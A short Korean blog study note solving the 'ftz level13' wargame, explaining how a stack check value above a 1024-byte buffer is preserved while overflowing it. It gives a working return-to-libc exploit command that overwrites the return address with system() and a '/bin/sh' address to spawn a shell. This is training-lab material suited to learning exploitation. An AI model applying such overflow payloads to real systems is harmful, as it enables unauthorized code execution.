본문 바로가기

Pwnable/▷ Study

ftz level13

ftz level13문제다 보면 buf위에 0x1234567 저장해놓고 만약 오버플로우로 이부분을 침범하면 경고를 표시하면서 프로그램을 종료시킨다.

gdb로 디버깅 해보면 0x418(1048) 만큼 스택을 할당해주는데 구조를 보면

str[1024] + garbage[12] + 0x01234567[4] + dummy[8] + sfp[4] + ret[4] 이렇게 저장되어있다.

그렇다면 0x1234567 가 들어있는 주소에는 익스코드 자체에서 \x67\x45\x23\x01 넣어줌으로써 경고를 우회할 수있다.

./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"'`

(\xc0\xf2\x03\x42 = system_address | \xa4\x7e\x12\x42 = system_/bin/sh_address)



'Pwnable > ▷ Study' 카테고리의 다른 글

ftz level16  (0) 2018.02.17
ftz level15  (0) 2018.02.17
ftz level14  (0) 2018.02.17
ftz level12  (0) 2018.02.17
ftz level11  (0) 2018.02.17